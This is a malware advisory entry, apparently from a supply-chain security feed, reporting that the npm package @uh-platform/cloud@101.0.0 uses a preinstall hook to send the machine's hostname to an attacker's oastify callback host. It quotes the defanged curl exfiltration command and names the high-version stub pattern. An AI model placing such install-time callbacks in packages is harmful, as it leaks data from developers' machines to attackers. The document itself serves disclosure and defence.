LWA-2026-12305 MAL-2026-16358 ↗ confirmed malware

@uh-platform/cloud@101.0.0

Malicious code in @uh-platform/cloud (npm)

T1059.007 · JavaScriptT1082 · System Information DiscoveryT1071.001 · Web ProtocolsT1041 · Exfiltration Over C2 Channel

Analysis

The preinstall hook of @uh-platform/cloud@101.0.0 runs index.js, which executes `curl "hxxp://$(hostname).pa33pg1od9cr4ffnrzec8864jvpmdd12[.]oastify[.]com/"` at install time. This beacons the machine's hostname to an attacker-controlled Burp Collaborator (oastify[.]com) subdomain. The package is a 480-byte stub on a scoped name with a high version number, containing no functional SDK code — its only behaviour is the install-time hostname exfiltration callback.

analyzed by
Leitwacht
first seen
Sep 21, 2026, 05:59 PM
analyzed
Sep 21, 2026, 06:00 PM

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Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.